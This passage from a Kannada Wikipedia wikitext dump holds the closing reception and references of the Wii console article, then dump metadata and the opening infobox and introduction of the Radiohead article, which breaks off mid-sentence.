ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಕಂತೆಯಾಗಿ ಬರುತ್ತವೆ, ಮತ್ತು ಡಿಸೆಂಬರ್ 2009ದರಂತೆ ವಿಶ್ವದೇಲ್ಲೆಡೆ 60.69 ಮಿಲಿಯನ್ ಪ್ರತಿಗಳು ಮಾರಾಟವಾಗಿದೆ,<ref name="autogenerated1">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2010/100129e.pdf#page=6|title= Financial Results Briefing for the Six-Month Period ended December 2009|publisher=[[Nintendo]]|date=2009-10-31|format=PDF| accessdate=2010-01-29|page=11}}</ref> ಮತ್ತು ಎಲ್ಲ ಕಾಲಕ್ಕೂ ಉತ್ತಮ ಮಾರಾಟವಾಗುವ ಆಟ ಎಂದು ''[[ಸೂಪರ್ ಮಾರಿಯೋ ಬ್ರೊಸ್‌.]]'' ‌ನ್ನು ಮೀರಿತು.<ref>{{cite web|first=Tom|last=Ivan|title=Wii Sports The Best Selling Game Ever?|url=http://www.edge-online.com/news/wii-sports-the-best-selling-game-ever|work=Edge Online|publisher=Future US|date=2009-05-08|quote=When approached, however, Nintendo UK said that it couldn’t confirm that sales of Wii Sports had overtaken those of Super Mario Bros.}}</ref> 26.71 ಮಿಲಿಯನ್ ಘಟಕಗಳೊಂದಿಗೆ ''[[ವೈ ಪ್ಲೇ]]'' ಉತ್ತಮ ಮಾರಾಟವಾಗುವ ಮೂಟೆಕಟ್ತದ ಆಟವಾಗಿದೆ.<ref name="Q409" /> ==ಪ್ರತಿಕ್ರಿಯೆ== ವ್ಯವಸ್ಥೆ/ತಂತ್ರವನ್ನು [[E3 2006]]ನಲ್ಲಿ ಅದರ ಪ್ರದರ್ಶನದ ನಂತರ ಉತ್ತಮವಾಗಿ ಬರಮಾಡಿಕೊಳ್ಳಲಾಯಿತು. ಆ ಸಂದರ್ಭದಲ್ಲಿ, ನಿಂಟೆಂಡೊನ ಕನ್ಸೊಲ್ ಶೋನ ಉತ್ತಮ ಮತ್ತು ಉತ್ತಮ ಹಾರ್ಡ್‌ವೇರ್‌ಗಾಗಿ ಆಟದ ವಿಮರ್ಶಕರ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಜಯಗಳಿಸಿತು.<ref name="E3 Awards">{{cite web|url=http://www.gamecriticsawards.com/2006winners.html|title=2006 Winners|accessdate=2006-08-13|work=Game Critics Awards}}</ref> ''[[ಪಾಪ್ಯುಲರ್ ಸೈನ್ಸ್‌]]'' ನ ಡಿಸೆಂಬರ್‌ 2006ರ ಆವೃತ್ತಿಯಲ್ಲಿ, ಕನ್ಸೊಲ್‌ ಮನೆ ಮನೋರಂಜನೆಯಲ್ಲಿ ಗ್ರ್ಯಾಂಡ್ ಅವಾರ್ಡ್ ವಿನ್ನರ್‌ನೊಂದಿಗೆ ಪುರಸ್ಕಾರಿಸಲಾಯಿತು.<ref name="pop-sci-nov06-80">{{Cite journal|title=Best of What's New 2006 - Home Entertainment|journal=[[Popular Science]]|volume=269|issue=6|year=2006|month= December|pages=&nbsp;80}}</ref> [[ಸ್ಪೈಕ್ TV]]ಯ ವಿಡಿಯೋ ಗೆಮ್ ಅವಾರ್ಡ್‌ ಅನ್ನು ಕೂಡ ಹೊಸಬೆಳವಣಿಗೆ/ಅವಿಷ್ಕಾರದ ತಂತ್ರಾಂಶದಲ್ಲಿ ಕನ್ಸೊಲ್‌ಗೆ ನೀಡಲಾಯಿತು .<ref name="Spike TV Award">{{cite web|url=http://www.gamespot.com/news/6162929.html|title=Oblivion nabs Spike TV top honors|accessdate=2007-03-10|publisher=GameSpot|first=Tim|last=Surette|date=2006-12-09}}</ref> [[ಗೆಮ್‌ಸ್ಪಾಟ್]] ಅವರ ಬೆಸ್ಟ್ ಅಂಡ್ ವರ್ಸ್ಟ್ 2006ರ ಪ್ರಶಸ್ತಿ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಕನ್ಸೊಲ್‌ನನ್ನು ಬೆಸ್ಟ್‌ಹಾರ್ಡ್‌ವೇರ್‌ ಆಗಿ ಆಯ್ಕೆ ಮಾಡಿತು.<ref name="Gamespot Award">{{cite web|url=http://www.gamespot.com/special_features/bestof2006/achievement/index.html?page=21|title=GameSpot Best Games and Worst Games of 2006|accessdate=2007-03-10|publisher=GameSpot|archive-date=2013-05-18|archive-url=https://web.archive.org/web/20130518194053/http://www.gamespot.com/special_features/bestof2006/achievement/index.html?page=21|url-status=dead}}</ref> ವ್ಯವಸ್ಥೆಯನ್ನು ''[[PC ವರ್ಲ್ಡ್]]'' ನಿಯತಕಾಲಿಕದ 20 ಮೊಸ್ಟ್ ಇನೋವೆಟಿವ್ ಪ್ರೊಡಕ್ಟ್ಸ್ ಅಫ್ ದಿ ಇಯರ್‌ನ ಒಂದನ್ನಾಗಿ ಸಹ ಆಯ್ಕೆ ಮಾಡಲಾಗಿತ್ತು.<ref name="PC World Award">{{cite web|url=http://www.pcworld.com/article/128176-2/the_20_most_innovative_products_of_the_year.html|archiveurl=https://web.archive.org/web/20080118042456/http://www.pcworld.com/article/id,128176-page,2-c,electronics/article.html|archivedate=2008-01-18|title=The 20 Most Innovative Products of the Year| accessdate=2007-03-10|publisher=''[[PC World (magazine)|PC World]]''|date=2006-12-27}}</ref> ಕನ್ಸೊಲ್ [[ಗೋಲ್ಡನ್‌ ಜಾಯ್‌ಸ್ಟಿಕ್ ಅವಾರ್ಡ್‌]]ಗಳಲ್ಲಿ 2007ನೆ ವರ್ಷದ ಹೋಸಶೊಧಕ್ಕಾಗಿ ಒಂದು ಗೋಲ್ಡನ್ ಜಾಯ್‌ಸ್ಟಿಕ್‌ನ್ನು ಪಡೆಯಿತು.<ref>{{cite web|url=http://www.mcvuk.com/news/28700/Gears-of-War-swoops-Golden-Joysticks|title=Gears of War scoops Golden Joysticks|first=Ben|last=Parfitt|publisher=mcvuk.com|date=2007-10-26| accessdate=2007-10-31}}</ref> ವಿಡಿಯೋ ಗೆಮ್‌ಗಳು ಮತ್ತು ಫ್ಲಾಟ್‌ಫಾರ್ಮ್‌ಗಳ ರಚನೆ ಮತ್ತು ಕಾರ್ಯಗತಕ್ಕಾಗಿ ಇಂಜಿನಿಯರಿಂಗ್ & ತಂತ್ರಾಂಶದ ವರ್ಗದಲ್ಲಿ, ನಿಂಟೆಂಡೊ ನ್ಯಾಷನ್ಲ್ ಆಕಾಡೆಮಿ ಅಫ್ ಆರ್ಟ್ಸ್ ಮತ್ತು ಸೈನ್ಸ್‌ನಿಂದ ಒಂದು ಎಮ್ಮಿ ಫಾರ್ ಗೆಮ್ ಕಂಟ್ರೋಲರ್ ಇನೋವೆಷನ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಗಳಿಸಿತು.<ref>[http://www.emmyonline.org/mediacenter/tech_2k7_winners.html ವಿನ್ನರ್ಸ್ ಆಫ್ 59th ಟೆಕ್ನಾಲಜಿ &amp; ಇಂಜಿನಿಯರಿಂಗ್ ಎಮ್ಮಿ ಅವಾರ್ಡ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20080509070210/http://www.emmyonline.org/mediacenter/tech_2k7_winners.html |date=2008-05-09 }}. ಜನವರಿ 18, 2008. 2008-05-14ರಂದು ಪಡೆಯಲಾಗಿದೆ.</ref> ವೈನ ಪ್ರಂಪಚದ ವಿಶ್ವವ್ಯಾಪಕದ ಯಶಸ್ಸು ಮೂರನೆಯ ವ್ಯಕ್ತಿ ಅಭಿವರ್ಧಕರನ್ನು ಆಶ್ಚರ್ಯದಿಂದ ಪತ್ತೆಮಾಡಿತು, ಕೆಲವರು ಅವರ ಮುಂಚಿನ ಆಟಗಳ ಗುಣಮಟ್ಟಕ್ಕಾಗಿ ಕ್ಷಮೆಕೇಳಲು ನಾಂದಿಯಾಯಿತು. ಜರ್ಮನಿನ ವಾರ್ತಾ ನಿಯತಾಕಾಲಿಕ ''[[ದರ್‌ ಸ್ಪೈಗಲ್‌‍]]'' ಜೊತೆಯ ಒಂದು ಸಂದರ್ಶನದಲ್ಲಿ, [[ಯುಬಿಸಾಫ್ಟ್‌‍]]ನ ವ್ಯೂಸ್‌ ಗಿಲ್ಲೆಮೊಟ್‌‍ ಮತ್ತು ಆಲೈನ್‌‍ ಕೊರ್‌‍ ಅವರ ಶೀರ್ಷಿಕೆಗಳ ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆಯ ಅತುರದಲ್ಲಿ ಒಂದು ತಪ್ಪು ಮಾಡಿರುವುದಾಗಿ ಒಪ್ಪಿಕೊಂಡರು, ಮುಂದಿನ ಯೋಜನೆಗಳನ್ನು ಹೆಚ್ಚು ಗಂಬೀರವಾಗಿ ತೆಗೆದುಕೊಳ್ಳುವುದಾಗಿ ಪ್ರಮಾಣ ಮಾಡಿದರು.<ref>{{cite web|last=Görig|first=Carsten|publisher=Der Spiegel|title=Spieler verzweifelt gesucht|date=2007-05-30|url= http://www.spiegel.de/netzwelt/spielzeug/0,1518,485385,00.html|language=German|accessdate=2007-06-18}}</ref> [[ಟೇಕ್ ಟು ಇಂಟರ್‌ಅಕ್ಟಿವ್]], [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್‌]]ಗಾಗಿ ಕೆಲವು ಆಟಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದರು, ವೈ ಮೇಲೆ ಒಂದು ಹೆಚ್ಚಿನ ಆದ್ಯತೆಯನ್ನು ಇಡುವ ಮೂಲಕ ನಿಂಟೆಂಡೊ ಮೇಲೆ ಅವರ ನಿಲವನ್ನು ಬದಲಿಸಿದರು.<ref>{{cite web|last=Seff|first=Micah|publisher=IGN|title=Take-Two Grows Hungry for Wii|date=2007-04-10|url=http://wii.ign.com/articles/779/779642p1.html|accessdate=2007-06-18|archive-date=2007-06-06|archive-url=https://web.archive.org/web/20070606151413/http://wii.ign.com/articles/779/779642p1.html|url-status=dead}}</ref> ಅದೇ ಸಮಯದಲ್ಲಿ, ವೈ ರಿಮೋಟ್‌ನ ವಿಮರ್ಶೆ‌ ಮತ್ತು ವೈ ಹಾರ್ಡ್‌ವೇರ್ ವಿವರಗಳು ಮತ್ತೆ ಕಾಣಿಸಿಕೊಂಡವು. ನಿಯಂತ್ರಕದ ಸ್ಪೀಕರ್ ಕಡಿಮೆ-ಗುಣಮಟ್ಟದ ಶಬ್ದವನ್ನು ಉತ್ಪಾದಿಸುತ್ತದೆ ಎಂದು ಮಾಜಿ ಗೆಮ್‌ಸ್ಪಾಟ್‌ ಸಂಪಾದಕ ಮತ್ತು ಗಿಂಟ್‌ಬಾಂಬ್.ಕಾಂ ಸ್ಥಾಪಕ [[ಗೆಫ್ಫ್ ಗೆರ್ಸ್ಟ್‌ಮ್ಯಾನ್ನ್]] ಹೇಳಿಕೆ ನೀಡಿದರು,<ref name="Tinny Speaker">{{cite web|last= Gerstmann|first=Jeff|date=2006-11-17|url=http://www.gamespot.com/wii/action/thelegendofzelda/review.html|title=The Legend of Zelda: Twilight Princess|publisher=[[GameSpot]]|accessdate=2007-03-07}}</ref> ಹಾಗೆ ಹಾರ್ಡ್‌ವೇರ್ ಆಡಿಯೋ ದರ ಪೀಳಿಗೆಯ ಒಂದು ಕನ್ಸೊಲ್‌ಗೆ ಸರಿಯಾಗಿದೆ ಎಂದು [[ಫ್ಯಾಕ್ಟರ್ 5]] ಆಧ್ಯಕ್ಷ ಜುಲಿಯನ್ ಎಗ್ಗರ್‌ಬ್ರೆಚ್ಟ್‌ ಟೀಕಿಸಿದರು.<ref name="Rock You">{{cite web|last=Radd|first=David|title=Wii Won't Rock You|date=2006-11-17|publisher=GameDaily.biz|accessdate=2007-01-31|url=http://www.gamedaily.com/articles/features/opinion-wii-wont-rock-you/69717/?biz=1|archive-date=2007-12-11|archive-url=https://web.archive.org/web/20071211233003/http://www.gamedaily.com/articles/features/opinion-wii-wont-rock-you/69717/?biz=1|url-status=dead}}</ref> ಇತರೆ ಏಳನೆ ಪೀಳಿಗೆಯ ಕನ್ಸೊಲ್‌ಗಳಲ್ಲಿನ ಬಿಡುಗಡೆಗಾಗಿ ಗೊತ್ತು ಮಾಡಿದ ಸಾಫ್ಟ್‌ವೇರ್ ಓಡಲು ಅಗತ್ಯವಾದ ಸಾಮರ್ಥ್ಯದ ಕೊರೆತೆಯನ್ನು ವೈ ಹಾರ್ಡ್‌ವೇರ್ ಹೊಂದಿದೆ, ಎಂದು U.K.-ಮೂಲದ ಅಭಿವರ್ಧಕ [[ಫ್ರೀ ರಾಡಿಕಲ್ ಡಿಸೈನ್]] ಹೇಳಿಕೆ ನೀಡಿದೆ.<ref name="Free Radical">{{cite web|url=http://www.frd.co.uk/faq.php?id=3#faq_3|archiveurl=https://web.archive.org/web/20071214224330/http://www.frd.co.uk/faq.php?id=3#faq_3|archivedate=2007-12-14|title=Free Radical Design FAQ}} frd.co.uk. ಮಾರ್ಚ್ 2, 2007ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ವೈನ ಅನ್‌ಲೈನ್ ಸಂಪರ್ಕತೆಯು ಟೀಕೆಗೆ ಗುರಿಯಾಗಿದೆ, [[IGN]]ನ [[ಮ್ಯಾಟ್‌ ಕ್ಯಾಸ್ಸಾಮಸ್ಸಿನಾ]] ಇದನ್ನು [[ನಿಂಟೆಂಡೊ DS]]ಗೆ ಒದಗಿಸಿದ "ಸಂಪೂರ್ಣವಾಗಿ ಬೇರೇಯೇ ಆದ" ಸೇವೆಗೆ ಹೋಲಿಸಿದೆ.<ref>ಕ್ಯಾಸಮಾಸಿನಾ, ಮ್ಯಾಟ್ (ಜನವರಿ 24, 2007). [http://wii.ign.com/mail/2007-01-24.html ಎನ್-ಕ್ವೇರಿ] {{Webarchive|url=https://web.archive.org/web/20070303144047/http://wii.ign.com/mail/2007-01-24.html |date=2007-03-03 }}. [[ಐಜಿ‌ಎನ್]].ಜನವರಿ 27, 2007ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ .</ref> ಫ್ರಾಂಟ್‌ಲೈನ್ ಸ್ಟುಡಿಯೋಗಳಿಗೆ ಒಬ್ಬ ಕಾರ್ಯನಿರ್ವಾಹಕ ಅಧಿಕಾರಿಯು ಪ್ರಕಾಶಕರು ವಿಶೇಷವಾದ ಶಿರೋನಾಮೆಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡಲು ಆಸಕ್ತಿ ವ್ಯಕ್ತ ಪಡಿಸಲು ಕಾರಣ ಮೂರನೇ ಹಂತದ ಕಂಪೆನಿಗಳು ಗ್ರಾಹಕರನ್ನು ಅವಲಂಭಿಸಿರುವುದಿಲ್ಲ.<ref name="Wary Publishers">{{cite web|last= Martin|first=Matt|title=Publishers wary of creating Nintendo titles, says Wii developer|date=2007-01-24|publisher=[[Eurogamer|GamesIndustry.biz]]|accessdate=2007-01-27|url=http://www.gamesindustry.biz/articles/publishers-wary-of-creating-nintendo-titles-says-wii-developer|archiveurl=https://web.archive.org/web/20071211030359/http://www.gamesindustry.biz/content_page.php?aid=22368| archivedate=2007-12-11 }}</ref> [[1UP.com]] ಸಂಪಾದಕ ಜೆರೆಮಿ ಪ್ಯಾರಿಷ್ ಅವರ [[ಬ್ಲಾಗ್‌]]ನಲ್ಲಿ, ನಿಂಟೆಂಡೊ ಅವರಿಗೆ 2007ರಲ್ಲಿ ಒಂದು ದೊಡ್ಡ ನಿರಾಶೆ ಎಂದು ಹೇಳಿದ್ದಾರೆ. ಮೂರನೆ ವ್ಯಕ್ತಿ ಬೆಂಬಲದ ಗುಣಮಟ್ಟದ ಕೊರತೆ ಮೇಲೆ ಟೀಕಿಸುತ್ತಾ, ಅವರು ಹೀಗೆ ಹೇಳಿದ್ದಾರೆ " ವೈ ವಿನ್ಯಾಸ ವಿವರ್ಣವಾಗಿದೆ ಅದು N64ಗಿಂತ ಕಳಪೆಯಾಗಿದೆ. ಗೇಮ್‌ಕ್ಯೂಬ್‌ಗಿಂತ ಕಳಪೆಯಾಗಿದ್ದು...ಮೂರನೇ ಹಂತದ ಕಂಪೆನಿಗಳು ಬಿನ್‌ ಟ್ರ್ಯಾಶ್‌ನ ಜೊತೆ ಚೌಕಾಶಿಯ ಮಾತುಕತೆ ಆರಂಭಿಸಿದ್ದವು."<ref name="JeremyParish2007">{{cite web|last=Parish|first=Jeremy|title=-3 in 2007|publisher=[[1UP.com]] blog|url=http://www.1up.com/do/blogEntry?bId=8601568&publicUserId=5379721|date=2008-01-29|accessdate=2008-09-25|archive-date=2011-05-22|archive-url=https://web.archive.org/web/20110522130049/http://www.1up.com/do/blogEntry?bId=8601568&publicUserId=5379721|url-status=dead}}</ref> ಆಟದ ವಿನ್ಯಾಸಗಾರ ಮತ್ತು ''[[ದಿ ಸಿಮ್ಸ್]]'' ರಚನಕಾರ [[ವಿಲ್ ವ್ರಿಟ್]] ಪ್ರಸ್ತುತ ಕನ್ಸೊಲ್ ಪೀಳಿಗೆಯ ಸನ್ನಿವೇಶದ ಒಳಗೆ ವೈ ಮೇಲಿನ ಅವರ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಹಂಚಿಕೊಂಡರು: " ನಾನು ನೋಡಿದ ಏಕ ಮಾತ್ರ ಜೆನ್ ಸಿಸ್ಟಮ್ ವೈ -PS3 ಮತ್ತು Xbox 360 ಹಿಂದಿನದಿಕ್ಕಿಂತ ಉತ್ತಮ ಆವೃತ್ತಿಗಳು ಅನಿಸುತ್ತದೆ, ಆದರೆ ಹೆಚ್ಚಾದ ಅಭಿವೃದ್ಧಿಯೊಂದಿಗೆ ಹೆಚ್ಚು ಕಡಿಮೆ ಸಮಾನ ಸದೃಶ್ಯದ ಆಟವಾಗಿದೆ. ಆದರೆ ವೈ ಒಂದು ಪ್ರಮುಖ ಜಿಗಿತದ ಹಾಗೆ ಕಾಣುತ್ತದೆ- ರೇಖಾ ಚಿತ್ರಗಳು ಹೆಚ್ಚು ಪ್ರಬಲ್ವಾಗಿದೆ ಎಂದು ಅಲ್ಲ, ಆದರೆ ಇದು ಸಂಪೂರ್ಣವಾಗಿ ಭಿನ್ನವಾದ ಜನಸಂಖ್ಯೆಯನ್ನು ತಲುಪುತ್ತದೆ."<ref name="wii_next_gen">{{cite news| publisher=Guardian Unlimited|date=2007-10-26|title=Q&A: Will Wright, creator of the Sims|author=Johnson, Bobbie|url= https://www.theguardian.com/technology/2007/oct/26/willwright|accessdate=2008-09-25 | location=London}}</ref> ವೈಯನ್ನು ಬಳಕೆ ಬೇರೆ ಕನ್ಸೊಲ್‌ಗಳಿಂತ ಹೆಚ್ಚು ದೈಹಿಕವಾಗಿ ಬೇಡುತ್ತದೆ ಎಂದು ಯಾವಾಗಲೂ ನೋಡಲಾಗುತ್ತದೆ.<ref>{{cite news|url=http://online.wsj.com/public/article/SB116441076273232312-3nPirhZn20_L2P7m_ROtFUkh6yA_20071124.html|title=A Wii Workout: When Videogames Hurt|first= Jamin|last=Warren|date=2006-11-25|publisher=Wall Street Journal|accessdate=2008-01-16}}</ref> ಲವು ವೈ ಆಟಗಾರರು ಕೆಲವೊಮ್ಮೆ "ವೈಟಿಸ್" ಎಂದು ಉಲ್ಲೇಖಿಸುವ [[ಮೊಳಕೈ ಉಳುಕಿ]]ನ ಒಂದು ವಿಧವನ್ನು ಅನುಭವಿಸಿದರು.<ref>{{cite news|url= http://www.reuters.com/article/technologyNews/idUSN0616721120070606|title=If it's not tennis elbow, it may be "Wiiitis"|date= 2007-06-06|publisher=Reuters|accessdate=2008-03-27}}</ref> ವೈ ಆಟಗಾರರು ಅವರು ಕುಳಿತಿರುವ ಕಂಪ್ಯೂಟರ್‌ ಆತಗಳನ್ನು ಆಡುವುದಕ್ಕಿಂತ ಹೆಚ್ಚು ಶಕ್ತಿಯನ್ನು ಬಳಸುತ್ತಾರೆ ಎಂದು ''[[ಬ್ರಿಟಿಷ್ ಮೆಡಿಕಲ್ ಜರ್‌ನಲ್‌‌]]'' ನಲ್ಲಿ ಪ್ರಕಟವಾದ ಒಂದು ಅಧ್ಯಯನ ಹೇಳುತ್ತದೆ. ಆದರೆ ಈ ಶಕ್ತಿ ಹೆಚ್ಚಳ ತೂಕ ನಿರ್ವಹಣೆಗೆ ಲಾಭದಾಯಕವಾಗಬಹುದು, ಇದು ನಿಯತ ವ್ಯಾಯಮಕ್ಕೆ ಒಂದು ಅರ್ಹವಾದ ಬದಲಿಯಲ್ಲ ಎಂದು ಇದು ಸೂಚಿಸುತ್ತದೆ.<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/health/7155342.stm|title=Wii players need to exercise too|publisher=[[BBC News Online]]|date=2007-12-21|accessdate= 2008-09-25}}</ref> ಅಮೆರಿಕದ ಫಿಸಿಕಲ್ ಥೆರಪಿ ಅಸೊಸಿಯೆಷನ್‌ನ ಪತ್ರಿಕೆ ''ಫಿಸಿಕಲ್ ಥೆರಪಿ'' ಯಲ್ಲಿ ಪ್ರಕಟವಾದ ಒಂದು ಸೂಕ್ಷ್ಮ ಅಧ್ಯಯನವು [[ಮೆದುಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಪಾರ್ಶ್ವ ವಾಯು]]ವಿನೊಂದಿಗಿನ ಒಂದು ತರುಣನ ಪುನಃಸ್ಥಾಪನೆಗೆ ವೈನ ಬಳಕೆ ಮೇಲೆ ಕೇಂದ್ರಿಕರಿಸಿದೆ. ಇದು ಆಟವಾಡುವ ತಂತ್ರದ ಬಳಕೆಯಿಂದ ಪರಿಣಾಮಗೊಂಡ ದೈಹಿಕ ಚಿಕಿತ್ಸೆಯ ಲಾಭಗಳನ್ನು ತೋರಿಸುವ ಪ್ರಕಟಗೊಂಡ ಪ್ರಥಮ ಸಂಶೋಧನೆ ಆಗಿದೆ ಎಂದು ಭಾವಿಸಲಾಗಿದೆ. ಸಂಶೋಧಕರು ಆಟ ಆಡುವ ವ್ಯವಸ್ಥೆಯು ಸಂಪ್ರಾದಾಯಿಕ ತಂತ್ರಾಂಶಗಳಿಗೆ ಪೂರಕವಾಗಿದೆ ಎಂದು ಹೇಳುತ್ತಾರೆ.<ref>[http://newswise.com/articles/view/544616/ ರಿಸರ್ಚ್ ಶೋಸ್ ರಿಹೆಬಿಲಿಟೇಶನ್ ಬೆನೆಫಿಟ್ಸ್ ಆಫ್ ಯುಸಿಂಗ್ ನಿಂಟೆಂಡೊ ವಿ] ನ್ಯೂಸ್‌ವೈಸ್,ಸೆಪ್ಟೆಂಬರ್ 28, 2008ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ==ಆಕರಗಳು== {{Reflist|colwidth=30em}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{Commons category|Wii}} *[http://www.wii.com/ ಜಾಗತಿಕ ಮತ್ತು ಸಾಮಾನ್ಯ ವೈ ತಾಣ] {{Webarchive|url=https://web.archive.org/web/20060928040528/http://wii.com/ |date=2006-09-28 }} *{{dmoz|Games/Video_Games/Console_Platforms/Nintendo/Nintendo_Wii|Wii}} [[ವರ್ಗ:ವೈ]] [[ವರ್ಗ:ಗಣಕಯಂತ್ರ]] ap1parlgd04pdij0um29npns0h8sox2 ರೇಡಿಯೊಹೆಡ್‌ 0 23730 1116423 1065121 2022-08-23T12:15:36Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox musical artist | Name = Radiohead | Img = Radiohead.jpg | Img_capt = Radiohead (left to right): [[Thom Yorke]], [[Jonny Greenwood]], [[Colin Greenwood]], [[Ed O'Brien]] and [[Phil Selway]] | Img_size = 250 | Landscape = Yes | Background = group_or_band | Origin = [[Abingdon, Oxfordshire|Abingdon]], [[Oxfordshire]], England | Genre = <!--PLEASE DO NOT ADD ANY MORE GENRES WITHOUT DISCUSSING IT ON THE TALK PAGE!-->[[Alternative rock]], [[electronic music]], [[experimental rock]] | Years_active = 1985–present | Associated_acts = [[Atoms for Peace (band)|Atoms for Peace]] | Label = [[XL Recordings|XL]], [[TBD Records|TBD]], [[Parlophone]], [[Capitol Records|Capitol]] | URL = [http://www.radiohead.com/ radiohead.com] | Current_members = [[Thom Yorke]]<br />[[Jonny Greenwood]]<br />[[Ed O'Brien]]<br />[[Colin Greenwood]]<br />[[Phil Selway]] }} '''ರೇಡಿಯೊಹೆಡ್‌''' [[ಆಕ್ಸ್ಫರ್ಡ್‌ಷೈರ್‌ ಕೌಂಟಿಯ ಅಬಿಂಗ್ಡನ್‌]] ಮೂಲದ ಒಂದು ಇಂಗ್ಲಿಷ್‌ [[ಪರ್ಯಾಯ ರಾಕ್‌ ಸಂಗೀತ ಶೈಲಿ]]ಯ ವಾದ್ಯತಂಡ. ಇಸವಿ 1985ರಲ್ಲಿ ಈ ತಂಡದ ರಚನೆಯಾಯಿತು. ಈ ವಾದ್ಯತಂಡದಲ್ಲಿ [[ಥಾಮ್‌ ಯಾರ್ಕ್]]‌ (ಪ್ರಮುಖ ಗಾಯನ, ರಿದಮ್‌ ಗಿಟಾರ್‌, ಪಿಯನೊ, ಬೀಟ್ಸ್‌); [[ಜಾನಿ ಗ್ರೀನ್ವುಡ್]]‌ (ಪ್ರಮುಖ ಗಿಟಾರ್‌, ಕೀಬೋರ್ಡ್‌, ಇತರೆ ವಾದ್ಯಗಳು); [[ಎಡ್‌ ಒ'ಬ್ರಯೆನ್]] (ಗಿಟಾರ್‌, ಹಿನ್ನೆಲೆ ಗಾಯನ), [[ಕೊಲಿನ್‌ ಗ್ರೀನ್ವುಡ್]]‌ (ಬಾಸ್‌ ಗಿಟಾರ್‌, ಸಿಂತೆಸೈಜರ್‌ಗಳು); [[ಫಿಲ್‌ ಸೆಲ್ವೇ]] (ಡ್ರಮ್ಸ್‌ಗಳು, ತಾಳವಾದ್ಯಗಳು)‌. ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ತನ್ನ ಮೊದಲ [[ಏಕಗೀತೆ]] [[ಕ್ರೀಪ್‌]]ನ್ನು 1992ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಈ ಹಾಡು ಆರಂಭದಲ್ಲಿ ಸಫಲವಾಗಲಿಲ್ಲ. ಆದರೆ, 1993ರಲ್ಲಿ ತಮ್ಮ ಮೊಟ್ಟಮೊದಲ ಆಲ್ಬಮ್‌ ''[[ಪಾಬ್ಲೊ ಹನಿ]]'' ಬಿಡುಗಡೆಯಾದ ಹಲವು ತಿಂಗಳ ನಂತರ, 'ಕ್ರೀಪ್' ಏಕಗೀತೆಯು ವಿಶ್ವಾದ್ಯಂತ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿತು. ತಮ್ಮ ಎರಡನೆಯ ಆಲ್ಬಮ್‌ ''[[ದಿ ಬೆಂಡ್ಸ್‌]]'' (1995) ಬಿಡುಗಡೆಯಾಗುವುದರೊಂದಿಗೆ, ಯುನೈಟೆಡ್‌ ಕಿಂಗ್ಡಮ್‌ನಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡದ ಜನಪ್ರಿಯತೆಯು ಹೆಚ್ಚಿತು. ಇಸವಿ 1997ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಮೂರನೆಯ ಆಲ್ಬಮ್‌ ''[[ಒಕೆ ಕಂಪ್ಯೂಟರ್]]'' ‌ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಇನ್ನಷ್ಟು ಕೀರ್ತಿ ತಂದಿತು. [[ಆಧುನಿಕ]] [[ಪ್ರತ್ಯೇಕತೆ]]ಯ ವಿಷಯಗಳನ್ನು ಮತ್ತು ವಿಕಸನಶೀಲ ಧ್ವನಿಯನ್ನು ಸೂಚಿಸುವ ''ಒಕೆ ಕಂಪ್ಯೂಟರ್‌'' ಆಲ್ಬಮ್‌ನ್ನು 1990ರ ದಶಕದಲ್ಲಿನ ಪ್ರಮುಖ ರೆಕಾರ್ಡ್‌ ಎಂದು ಸಾಮಾನ್ಯವಾಗಿ ಪರಿಗಣಿಸಲಾಗಿದೆ. ''[[ಕಿಡ್ ಎ]]'' (2000) ಮತ್ತು ''[[ಆಮ್ನೆಸಿಯಾಕ್‌]]'' (2001) ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡದ ಸಂಗೀತಶೈಲಿಯಲ್ಲಿ ವಿಕಸನದ ಕುರುಹು ನೀಡಿತು. ಈ ತಂಡವು ಪ್ರಾಯೋಗಿಕ [[ವಿದ್ಯುನ್ಮಾನ ಸಂಗೀತ]], [[ಕ್ರಾಟ್ರಾಕ್‌]], [[ಪೋಸ್ಟ್‌-ಪಂಕ್]]‌ ಹಾಗೂ [[ಜ್ಯಾಝ್]]‌ ಪ್ರಭಾವಗಳನ್ನು ತನ್ನ ಸಂಯೋಜನೆಗಳಲ್ಲಿ ಬಳಸಿತು. ಇಸವಿ 2003ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್]]'' ‌ ಆಲ್ಬಮ್‌ನಲ್ಲಿ ಯುದ್ಧದಿಂದ ಸ್ಫೂರ್ತಿ ಪಡೆದ ಗಿಟಾರ್‌-ಚಾಲಿತ ರಾಕ್‌, ವಿದ್ಯುನ್ಮಾನ ಮತ್ತು ಗೀತೆಗಳಿದ್ದವು. ಪ್ರಮುಖ ರೆಕಾರ್ಡ್‌ ಲೇಬೆಲ್‌ [[EMI]]ಗಾಗಿ ಇದು ತಂಡದ ಅಂತಿಮ ಆಲ್ಬಮ್‌ ಆಗಿತ್ತು. EMI ಮೂಲಕ ಬಿಡುಗಡೆಯಾದ 